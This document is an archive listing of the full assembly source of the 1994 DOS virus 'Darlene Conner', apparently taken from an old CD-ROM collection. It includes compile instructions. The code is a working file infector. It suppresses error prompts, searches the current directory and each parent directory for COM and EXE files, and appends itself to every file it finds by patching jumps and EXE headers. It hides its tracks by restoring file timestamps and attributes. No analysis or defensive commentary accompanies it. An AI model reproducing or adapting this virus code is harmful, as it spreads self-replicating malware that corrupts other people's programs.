home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARLENE.ASM < prev    next >
Assembly Source File  |  1994-09-22  |  13KB  |  318 lines

  1. ;  Darlene Conner written by MuTaTiON INTERRUPT
  2. ;  To compile this use TASM /M darlene.asm
  3.  
  4.  
  5. code    segment public 'code'
  6.         assume  cs:code
  7.         org     100h                              ; All .COM files start here
  8.  
  9. ID = 'AB'                                         ; Id for infected files
  10.  
  11. start:
  12.         db 0e9h,0,0                               ; Jump to the next command
  13.  
  14. virus:
  15.         call    realcode                          ; Push current location on stack
  16. realcode:
  17.         nop
  18.         nop
  19.         pop     bp                                ; Get location off stack
  20.         sub     bp,offset realcode                ; Adjust it for our pointer
  21.         nop
  22.         nop
  23.         cmp     sp,id                             ; COM or EXE?
  24.         je      restoreEXE
  25.  
  26.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  27.         mov     di,100h                           ; Location of where to put it in di
  28.         push    di                                ; Save so we could just return when done
  29.         movsb                                     ; Move a byte
  30.         movsw                                     ; Move a word
  31.         jmp     exitrestore
  32.  
  33. restoreEXE:
  34.         push    ds                                ; Save ExE ds
  35.         push    es                                ; Save ExE es
  36.         push    cs
  37.         pop     ds                                ; DS now equals CS
  38.         push    cs
  39.         pop     es                                ; ES now equals CS
  40.         lea     si,[bp+jmpsave2]
  41.         lea     di,[bp+jmpsave]
  42.         movsw                                     ; Move a word
  43.         movsw                                     ; Move a word
  44.         movsw                                     ; Move a word
  45.         movsw                                     ; Move a word
  46.  
  47. ExitRestore:
  48.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  49.         call    set_DTA                           ; Move it
  50.  
  51.         mov     ax,3524h                          ; Get int 24 handler
  52.         int     21h                               ; To ES:BX
  53.         mov     word ptr [bp+oldint24],bx         ; Save it
  54.         mov     word ptr [bp+oldint24+2],es
  55.  
  56.         mov     ah,25h                            ; Set new int 24 handler
  57.         lea     dx,[bp+offset int24]              ; DS:DX->new handler
  58.         int     21h
  59.  
  60.         push    cs                                ; Restore ES
  61.         pop     es                                ; 'cuz it was changed
  62.  
  63.         mov     ah,47h                            ; Get the current directory
  64.         mov     dl,0h                             ; On current drive
  65.         lea     si,[bp+offset currentdir]         ; Where to keep it
  66.         int     21h
  67.  
  68. dirloop:
  69.         lea     dx,[bp+offset exefilespec]
  70.         call    findfirst
  71.         lea     dx,[bp+offset comfilespec]
  72.         call    findfirst
  73.  
  74.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  75.         mov     ah,3bh                            ; Change directory
  76.         int     21h
  77.         jnc     dirloop                           ; If no problems the look for files
  78.  
  79.         mov     ah,9                              ; Display string
  80.         lea     dx,[bp+virusname]
  81.         int     21h
  82.  
  83.         mov     ax,2524h                          ; Restore int 24 handler
  84.         lds     dx,[bp+offset oldint24]           ; To original
  85.         int     21h
  86.  
  87.         push    cs
  88.         pop     ds                                ; Do this because the DS gets changed
  89.  
  90.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  91.         mov     ah,3bh                            ; Change to there
  92.         int     21h
  93.  
  94.         mov     dx,80h                            ; Location of original DTA
  95.         call    set_dta                           ; Put it back there
  96.  
  97.         cmp     sp,id-4                           ; EXE or COM?
  98.         jz      returnEXE
  99.  
  100.         retn                                      ; Return to 100h to original jump
  101.  
  102. ReturnEXE:
  103.         pop     es                                ; Get original ES
  104.         pop     ds                                ; Get original DS
  105.  
  106.         mov     ax,es
  107.         add     ax,10h
  108.         add     word ptr cs:[bp+jmpsave+2],ax
  109.         add     ax,word ptr cs:[bp+stacksave+2]
  110.         cli                                       ; Clear int's because of stack manipulation
  111.         mov     sp,word ptr cs:[bp+stacksave]
  112.         mov     ss,ax
  113.         sti
  114.         db      0eah                              ; Jump ssss:oooo
  115. jmpsave dd      ?                                 ; Jump location
  116. stacksave dd    ?                                 ; Original cs:ip
  117. jmpsave2 dd     0fff00000h                        ; Used with carrier file
  118. stacksave2 dd   ?
  119.  
  120. findfirst:
  121.         mov     ah,4eh                            ; Find first file
  122.         mov     cx,7                              ; Find all attributes
  123.  
  124. findnext:
  125.         int     21h                               ; Find first/next file int
  126.         jc      quit                              ; If none found then change dir
  127.  
  128.         call    infection                         ; Infect that file
  129.  
  130. Findnext2:
  131.         mov     ah,4fh                            ; Find next file
  132.         jmp     findnext                          ; Jump to the loop
  133.  
  134. quit:
  135.         ret
  136.  
  137. infection:
  138.         mov     ax,3d00h                          ; Open file for read only
  139.         call    open
  140.  
  141.         mov     ah,3fh                            ; Read from file
  142.         mov     cx,1ah
  143.         lea     dx,[bp+offset buffer]             ; Location to store them
  144.         int     21h
  145.  
  146.         mov     ah,3eh                            ; Close file
  147.         int     21h
  148.  
  149.         cmp     word ptr [bp+buffer],'ZM'         ; EXE?
  150.         jz      checkEXE                          ; Why yes, yes it is!
  151.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  152.         cmp     ax,'DN'                           ; Does End in comma'ND'? (reverse order)
  153.         jz      quitinfect                        ; Yup so get another file
  154.  
  155. CheckCom:
  156.         mov     bx,[bp+offset dta+1ah]            ; Get file size
  157.         mov     cx,word ptr [bp+buffer+1]         ; Get jump loc of file
  158.         add     cx,eof-virus+3                    ; Add for virus size
  159.  
  160.         cmp     bx,cx                             ; Does file size=file jump+virus size
  161.         jz      quitinfect                        ; Yup then get another file
  162.         jmp     infectcom
  163.  
  164. CheckExe:
  165.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  166.         jz      quitinfect                        ; Already infected so close up
  167.         jmp     infectexe
  168.  
  169. quitinfect:
  170.         ret
  171.  
  172. InfectCom:
  173.         sub     bx,3                              ; Adjust for new jump
  174.         lea     si,[bp+buffer]
  175.         lea     di,[bp+oldjump]
  176.         movsw
  177.         movsb
  178.         mov     [bp+buffer],byte ptr 0e9h
  179.         mov     word ptr [bp+buffer+1],bx         ; Save for later
  180.  
  181.         mov     cx,3                              ; Number of bytes to write
  182.  
  183.         jmp     finishinfection
  184. InfectExe:
  185.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  186.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  187.         mov     word ptr [bp+jmpsave2+2],es
  188.  
  189.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  190.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  191.         mov     word ptr [bp+stacksave2+2],ax
  192.  
  193.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  194.         mov     cl,4
  195.         shl     ax,cl
  196.         xchg    ax,bx
  197.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  198.         mov     dx,es                             ; its now in dx:ax
  199.         push    ax                                ; save these
  200.         push    dx
  201.  
  202.         sub     ax,bx                             ; subtract header size from fsize
  203.         sbb     dx,0                              ; subtract the carry too
  204.         mov     cx,10h                            ; convert to segment:offset form
  205.         div     cx
  206.  
  207.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  208.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  209.  
  210.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  211.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  212.         pop     dx                                ; get the file length back
  213.         pop     ax
  214.  
  215.         add     ax,eof-virus                      ; add virus size
  216.         adc     dx,0                              ; add with carry
  217.  
  218.         mov     cl,9                              ; calculates new file size
  219.         push    ax
  220.         shr     ax,cl
  221.         ror     dx,cl
  222.         stc
  223.         adc     dx,ax
  224.         pop     ax
  225.         and     ah,1
  226.  
  227.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  228.         mov     word ptr [bp+buffer+2],ax
  229.  
  230.         push    cs                                ; es = cs
  231.         pop     es
  232.  
  233.         mov     cx,1ah                            ; Number of bytes to write (Header)
  234. FinishInfection:
  235.         push    cx                                ; save # of bytes to write
  236.         xor     cx,cx                             ; Set attriutes to none
  237.         call    attributes
  238.  
  239.         mov     al,2                              ; open file read/write
  240.         call    open
  241.  
  242.         mov     ah,40h                            ; Write to file
  243.         lea     dx,[bp+buffer]                    ; Location of bytes
  244.         pop     cx                                ; Get number of bytes to write
  245.         int     21h
  246.         jc      closefile
  247.  
  248.         mov     al,02                             ; Move Fpointer to eof
  249.         Call    move_fp
  250.  
  251.         mov     ah,40h                            ; Write virus to file
  252.         mov     cx,eof-virus                      ; Size of virus
  253.         lea     dx,[bp+offset virus]              ; Location to start from
  254.         int     21h
  255.  
  256. closefile:
  257.         mov     ax,5701h                          ; Set files date/time back
  258.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  259.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  260.         int     21h
  261.  
  262.         mov     ah,3eh                            ; Close file
  263.         int     21h
  264.  
  265.         xor     cx,cx
  266.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  267.         call    attributes
  268.  
  269.         retn
  270.  
  271. move_fp:
  272.         mov     ah,42h                            ; Move file pointer
  273.         xor     cx,cx                             ; Al has location
  274.         xor     dx,dx                             ; Clear these
  275.         int     21h
  276.         retn
  277.  
  278. set_dta:
  279.         mov     ah,1ah                            ; Move the DTA location
  280.         int     21h
  281.         retn
  282.  
  283. open:
  284.         mov     ah,3dh                            ; open file
  285.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  286.         int     21h
  287.         xchg    ax,bx                             ; file handle in bx
  288.         ret
  289.  
  290. attributes:
  291.         mov     ax,4301h                          ; Set attributes to cx
  292.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  293.         int     21h
  294.         ret
  295. int24:                                            ; New int 24h (error) handler
  296.         mov     al,3                              ; Fail call
  297.         iret                                      ; Return from int 24 call
  298.  
  299. Virusname db 'Darlene Conner - Basketball Anyone?',10,13               ; Name Of The Virus
  300. Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
  301. Made_with db '[NOVEMBER 1994]',10,13,'$'          ; Please do not remove this
  302.  
  303. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  304. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  305. directory    db '..',0                            ; Directory to change to
  306. oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit
  307.  
  308. eof     equ     $                                 ; Marks the end of file
  309.  
  310. currentdir db   64 dup (?)                        ; Holds the current dir
  311. dta     db      42 dup (?)                        ; Location of new DTA
  312. buffer db 1ah dup (?)                             ; Holds exe header
  313. oldint24 dd ?                                     ; Storage for old int 24h handler
  314.  
  315. code    ends
  316.         end     start
  317.  
  318.